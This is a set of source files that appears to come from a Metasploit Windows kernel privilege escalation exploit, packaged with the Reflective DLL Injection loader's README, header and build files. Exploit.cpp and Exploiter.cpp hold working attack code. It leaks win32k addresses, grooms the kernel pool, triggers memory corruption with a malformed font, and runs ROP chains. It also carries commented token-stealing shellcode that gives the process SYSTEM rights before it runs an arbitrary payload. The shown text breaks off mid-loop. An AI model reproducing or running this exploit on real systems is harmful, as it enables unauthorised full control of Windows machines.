IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.

View File

@ -0,0 +1,40 @@
About
=====
Reflective DLL injection is a library injection technique in which the concept of reflective programming is employed to perform the loading of a library from memory into a host process. As such the library is responsible for loading itself by implementing a minimal Portable Executable (PE) file loader. It can then govern, with minimal interaction with the host system and process, how it will load and interact with the host.
Injection works from Windows NT4 up to and including Windows 8, running on x86, x64 and ARM where applicable.
Overview
========
The process of remotely injecting a library into a process is two fold. Firstly, the library you wish to inject must be written into the address space of the target process (Herein referred to as the host process). Secondly the library must be loaded into that host process in such a way that the library's run time expectations are met, such as resolving its imports or relocating it to a suitable location in memory.
Assuming we have code execution in the host process and the library we wish to inject has been written into an arbitrary location of memory in the host process, Reflective DLL Injection works as follows.
* Execution is passed, either via CreateRemoteThread() or a tiny bootstrap shellcode, to the library's ReflectiveLoader function which is an exported function found in the library's export table.
* As the library's image will currently exists in an arbitrary location in memory the ReflectiveLoader will first calculate its own image's current location in memory so as to be able to parse its own headers for use later on.
* The ReflectiveLoader will then parse the host processes kernel32.dll export table in order to calculate the addresses of three functions required by the loader, namely LoadLibraryA, GetProcAddress and VirtualAlloc.
* The ReflectiveLoader will now allocate a continuous region of memory into which it will proceed to load its own image. The location is not important as the loader will correctly relocate the image later on.
* The library's headers and sections are loaded into their new locations in memory.
* The ReflectiveLoader will then process the newly loaded copy of its image's import table, loading any additional library's and resolving their respective imported function addresses.
* The ReflectiveLoader will then process the newly loaded copy of its image's relocation table.
* The ReflectiveLoader will then call its newly loaded image's entry point function, DllMain with DLL_PROCESS_ATTACH. The library has now been successfully loaded into memory.
* Finally the ReflectiveLoader will return execution to the initial bootstrap shellcode which called it, or if it was called via CreateRemoteThread, the thread will terminate.
Build
=====
Open the 'rdi.sln' file in Visual Studio C++ and build the solution in Release mode to make inject.exe and reflective_dll.dll
Usage
=====
To test use the inject.exe to inject reflective_dll.dll into a host process via a process id, e.g.:
> inject.exe 1234
License
=======
Licensed under a 3 clause BSD license, please see LICENSE.txt for details.

View File

@ -0,0 +1,53 @@
//===============================================================================================//
// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
// we declare some common stuff in here...
#define DLL_METASPLOIT_ATTACH 4
#define DLL_METASPLOIT_DETACH 5
#define DLL_QUERY_HMODULE 6
#define DEREF( name )*(UINT_PTR *)(name)
#define DEREF_64( name )*(DWORD64 *)(name)
#define DEREF_32( name )*(DWORD *)(name)
#define DEREF_16( name )*(WORD *)(name)
#define DEREF_8( name )*(BYTE *)(name)
typedef ULONG_PTR (WINAPI * REFLECTIVELOADER)( VOID );
typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID );
#define DLLEXPORT __declspec( dllexport )
//===============================================================================================//
#endif
//===============================================================================================//

View File

@ -0,0 +1,273 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|ARM">
<Configuration>Debug</Configuration>
<Platform>ARM</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|ARM">
<Configuration>Release</Configuration>
<Platform>ARM</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}</ProjectGuid>
<RootNamespace>reflective_dll</RootNamespace>
<Keyword>Win32Proj</Keyword>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>true</WholeProgramOptimization>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>true</WholeProgramOptimization>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>false</WholeProgramOptimization>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup>
<_ProjectFileVersion>11.0.50727.1</_ProjectFileVersion>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
<IntDir>$(Configuration)\</IntDir>
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
<IntDir>$(Platform)\$(Configuration)\</IntDir>
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
<IntDir>$(Configuration)\</IntDir>
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
<IntDir>$(Platform)\$(Configuration)\</IntDir>
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MinimalRebuild>true</MinimalRebuild>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>EditAndContinue</DebugInformationFormat>
<AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
<TargetMachine>MachineX86</TargetMachine>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'">
<ClCompile>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MinimalRebuild>true</MinimalRebuild>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>EditAndContinue</DebugInformationFormat>
<AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Midl>
<TargetEnvironment>X64</TargetEnvironment>
</Midl>
<ClCompile>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MinimalRebuild>true</MinimalRebuild>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
<TargetMachine>MachineX64</TargetMachine>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<Optimization>MaxSpeed</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<TargetMachine>MachineX86</TargetMachine>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'">
<ClCompile>
<Optimization>MinSpace</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_ARM;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<BufferSecurityCheck>true</BufferSecurityCheck>
<CompileAs>Default</CompileAs>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OutputFile>$(OutDir)$(ProjectName).arm.dll</OutputFile>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Midl>
<TargetEnvironment>X64</TargetEnvironment>
</Midl>
<ClCompile>
<Optimization>MaxSpeed</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>true</IntrinsicFunctions>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<WholeProgramOptimization>false</WholeProgramOptimization>
<PreprocessorDefinitions>WIN64;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;_WIN64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories>
<CompileAs>CompileAsCpp</CompileAs>
</ClCompile>
<Link>
<OutputFile>$(OutDir)$(ProjectName).x64.dll</OutputFile>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<TargetMachine>MachineX64</TargetMachine>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="src\Exploit.cpp" />
<ClCompile Include="src\Exploiter.cpp" />
<ClCompile Include="src\FontData.cpp" />
<ClCompile Include="src\ReflectiveDll.c" />
<ClCompile Include="src\ReflectiveLoader.c" />
<ClCompile Include="src\Win32kLeaker.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\common\ReflectiveDLLInjection.h" />
<ClInclude Include="src\Exploit.h" />
<ClInclude Include="src\Exploiter.h" />
<ClInclude Include="src\FontData.h" />
<ClInclude Include="src\ReflectiveLoader.h" />
<ClInclude Include="src\Win32kLeaker.h" />
</ItemGroup>
<ItemGroup>
<MASM Include="src\MySyscalls.asm" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup>
</Project>

View File

@ -0,0 +1,58 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="src\ReflectiveDll.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="src\ReflectiveLoader.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="src\Exploit.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="src\Win32kLeaker.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="src\Exploiter.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="src\FontData.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="src\ReflectiveLoader.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="..\common\ReflectiveDLLInjection.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="src\FontData.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="src\Exploiter.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="src\Exploit.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="src\Win32kLeaker.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<MASM Include="src\MySyscalls.asm">
<Filter>Source Files</Filter>
</MASM>
</ItemGroup>
</Project>

View File

@ -0,0 +1,55 @@
// Exploit.cpp : Defines the entry point for the console application.
//
#include <Windows.h>
#include "Exploit.h"
#include "Win32kLeaker.h"
#include "Exploiter.h"
#include "FontData.h"
static VOID ExecutePayload(LPVOID lpPayload)
{
VOID(*lpCode)() = (VOID(*)())lpPayload;
lpCode();
return;
}
VOID Exploit(LPVOID lpPayload)
{
// Variables.
DWORD cFonts;
PVOID pFontData = (PVOID)fontData;
DWORD ExAllocatePoolWithTag_offset;
ULONGLONG win32kBaseAddr;
ULONGLONG ntBaseAddr;
ExploiterInit();
// Leak the win32k base address.
win32kBaseAddr = LeakWin32kAddress();
if (win32kBaseAddr == NULL) {
return;
}
ExploiterSetupFirstChain(win32kBaseAddr);
ExploiterDoFengShui();
// Trigger the memory corruption: Render the font and cause memory overwrite.
cFonts = 0;
HANDLE fh = AddFontMemResourceEx(pFontData, sizeof(fontData), 0, &cFonts);
// Clean up: remove the font from memory.
RemoveFontMemResourceEx(fh);
// First Stage: Leak ntoskrnl
ExploiterRunFirstChain();
ntBaseAddr = ExploiterGetNtBase();
// Second Stage: elevate privileges
ExploiterSetupSecondChain(win32kBaseAddr, ntBaseAddr);
ExploiterRunSecondChain();
ExpoiterCleanUp();
// Exetue msf payload
ExecutePayload(lpPayload);
}

View File

@ -0,0 +1,5 @@
#ifndef EXPLOIT_H
#define EXPLOIT_H
VOID Exploit(LPVOID lpPayload);
#endif

View File

@ -0,0 +1,320 @@
#include <Windows.h>
#include "Exploiter.h"
static const int AccelArrayBase = 0x43000000;
static const int HwndArrayBase = 0x44000000;
static const int DcomArrayBase = 0x41000000;
static const int PayloadBase = 0x42000000;
// Not using const to make the compiler to store
// the variables in .data
static ULONGLONG win32kPopRaxRet = 0xdeedbeefdeedbe01;
static ULONGLONG win32kXchgRaxRsp = 0xdeedbeefdeedbe02;
static ULONGLONG win32kExAllocatePoolWithTag = 0xdeedbeefdeedbe03;
static ULONGLONG win32kPopRcxRet = 0xdeedbeefdeedbe04;
static ULONGLONG win32kDefRaxIntoRcx = 0xdeedbeefdeedbe05;
static ULONGLONG win32kWriteRaxIntoRcx = 0xdeedbeefdeedbe06;
static ULONGLONG win32kPopRbxRet = 0xdeedbeefdeedbe07;
static ULONGLONG win32kRet = 0xdeedbeefdeedbe08;
static ULONGLONG win32kMovRaxR11Ret = 0xdeedbeefdeedbe09;
static ULONGLONG win32kAddRaxRcxRet = 0xdeedbeefdeedbe0a;
static ULONGLONG win32kPopEspRet = 0xdeedbeefdeedbe0b;
static ULONGLONG win32kXchgRaxRspAdjust = 0xdeedbeefdeedbe0c;
static ULONGLONG win32kCHwndDelete = 0xdeedbeefdeedbe0d;
static ULONGLONG ntSetCr4 = 0xdeedbeefdeedbe0e;
static ULONGLONG ntExAllocatePoolWithTag = 0xdeedbeefdeedbe0f;
typedef NTSTATUS(__stdcall *FuncCreateDCompositionHwndTarget) (
_In_ HANDLE hWnd,
_In_ DWORD dwNum,
_Out_ ULONGLONG pMem
);
typedef NTSTATUS(__stdcall *FuncDestroyDCompositionHwndTarget) (
_In_ HANDLE hWnd,
_In_ DWORD dwNum
);
typedef LRESULT(WINAPI *FuncDefWindowProcA) (
_In_ HWND hWnd,
_In_ UINT Msg,
_In_ WPARAM wParam,
_In_ LPARAM lParam
);
static CHAR sc[] = {
'\x4D', '\x8B', '\xBB', '\x68', '\x01', '\x00', '\x00', // mov r15, [r11+0x168], save return address of kernel stack
'\x41', '\x51', // push r9 save regs
'\x41', '\x52', // push r10
'\x65', '\x4C', '\x8B', '\x0C', '\x25', '\x88', '\x01', '\x00', '\x00', // mov r9, gs:[0x188], get _ETHREAD from KPCR (PRCB @ 0x180 from KPCR, _ETHREAD @ 0x8 from PRCB)
'\x4D', '\x8B', '\x89', '\xB8', '\x00', '\x00', '\x00', // mov r9, [r9+0xb8], get _EPROCESS from _ETHREAD
'\x4D', '\x89', '\xCA', // mov r10, r9 save current eprocess
'\x4D', '\x8B', '\x89', '\x40', '\x02', '\x00', '\x00', // mov r9, [r9+0x240] $a, get blink
'\x49', '\x81', '\xE9', '\x38', '\x02', '\x00', '\x00', // sub r9, 0x238 => _KPROCESS
'\x41', '\x81', '\xB9', '\x38', '\x04', '\x00', '\x00', '\x77', '\x69', '\x6E', '\x6C', // cmp [r9+0x438], 0x6c6e6977 does ImageName begin with 'winl' (winlogon)
'\x75', '\xe5', // jnz $a no? then keep searching!
'\x4D', '\x8B', '\xA1', '\xE0', '\x02', '\x00', '\x00', // mov r12, [r9+0x2e0] get pid
'\x48', '\xC7', '\xC0', '\x00', '\x10', '\x00', '\x42', // mov rax, 0x42001000
'\x4C', '\x89', '\x20', // mov [rax], r12 save pid for use later
'\x4D', '\x8B', '\x89', '\x48', '\x03', '\x00', '\x00', // mov r9, [r9+0x348] get token
'\x49', '\x83', '\xE1', '\xF0', // and r9, 0xfffffffffffffff0 get SYSTEM token's address
'\x49', '\x83', '\x41', '\xD0', '\x0A', // add [r9-0x30], 0x10 increment SYSTEM token's reference count by 0x10
'\x4D', '\x89', '\x8A', '\x48', '\x03', '\x00', '\x00', // mov [r10+0x348], r9 replace our token with system token
'\x41', '\x5A', // pop r10 restore regs
'\x41', '\x59', // pop r9
'\x41', '\x53', // push r11, pointer near to original stack
'\x5C', // pop rsp
'\x48', '\x83', '\xec', '\x28', // sub rsp, 0x28, restore original kernel rsp
'\xFF', '\x24', '\x25', '\x70', '\x50', '\x00', '\x42', // jmp [0x42005070], continue on to delete the object CHwndTargetProp::Delete(void)
0
};
static HWND *pHwnds = NULL;
static HACCEL *pAccels = NULL;
static FuncCreateDCompositionHwndTarget MyCreateDCompositionHwndTarget = NULL;
static FuncDestroyDCompositionHwndTarget MyDestroyDCompositionHwndTarget = NULL;
// WndProc is a callback function that is needed when creating a window.
// It does nothing of consequence. However, the exploit relies on overriding
// a suitable object (`CreateDCompositionHwndTarget`), which requires a
// window. Hence we need to create windows.
LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) {
FuncDefWindowProcA MyDefWindowProcA;
ULONGLONG pMyDefWindowProcA;
pMyDefWindowProcA = *(ULONGLONG *)(PayloadBase + 0x1950);
MyDefWindowProcA = (FuncDefWindowProcA)pMyDefWindowProcA;
return MyDefWindowProcA(hwnd, msg, wParam, lParam);
}
VOID ExploiterInit() {
LoadLibrary("USER32.dll");
HMODULE user32 = GetModuleHandle("USER32.dll");
MyCreateDCompositionHwndTarget = (FuncCreateDCompositionHwndTarget)GetProcAddress(user32, "CreateDCompositionHwndTarget");
MyDestroyDCompositionHwndTarget = (FuncDestroyDCompositionHwndTarget)GetProcAddress(user32, "DestroyDCompositionHwndTarget");
// Allocate memory regions that we use to store various data.
VirtualAlloc((LPVOID)DcomArrayBase, 0x2000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
VirtualAlloc((LPVOID)PayloadBase, 0x10000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
SecureZeroMemory((LPVOID)PayloadBase, 0x10000);
memcpy((LPVOID)PayloadBase, sc, sizeof(sc));
// Save the function pointer of DefWindowProcA globally while we are still in user-mode.
// The callback (WndProc) that runs in kernel mode later cannot call `GetProcAddressWithHash`
// any more. Hence, we store this first, so that WndProc can access it directly later.
ULONGLONG *pDefWindowProcA = (ULONGLONG *)(PayloadBase + 0x1950);
*pDefWindowProcA = (ULONGLONG)GetProcAddress(user32, "DefWindowProcA"); // ntdll's DefWindowProcA's hash
}
VOID ExploiterDoFengShui() {
HINSTANCE hThisInstance;
ATOM classAtom;
WNDCLASSEXA windowClass;
HWND hWnd;
HACCEL hAccel;
LPACCEL lpAccel;
// Strings needed.
CHAR winClass[] = { 'w', 'i', 'n', 'c', 'l', 's', '0', '0', '0', '0', 0 };
CHAR winClassFmt[] = { 'w', 'i', 'n', 'c', 'l', 's', '%', '0', '4', 'x', 0 };
CHAR winTitle[] = { 'w', 'i', 'n', 't', 'i', 't', '0', '0', '0', '0', 0 };
CHAR winTitleFmt[] = { 'w', 'i', 'n', 't', 'i', 't', '%', '0', '4', 'x', 0 };
// Initial setup for pool fengshui.
lpAccel = (LPACCEL)malloc(sizeof(ACCEL));
SecureZeroMemory(lpAccel, sizeof(ACCEL));
// Create many accelerator tables, and store them.
pAccels = (HACCEL *)VirtualAlloc((LPVOID)(AccelArrayBase), sizeof(HACCEL)* 5000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
for (INT i = 0; i < 5000; i++) {
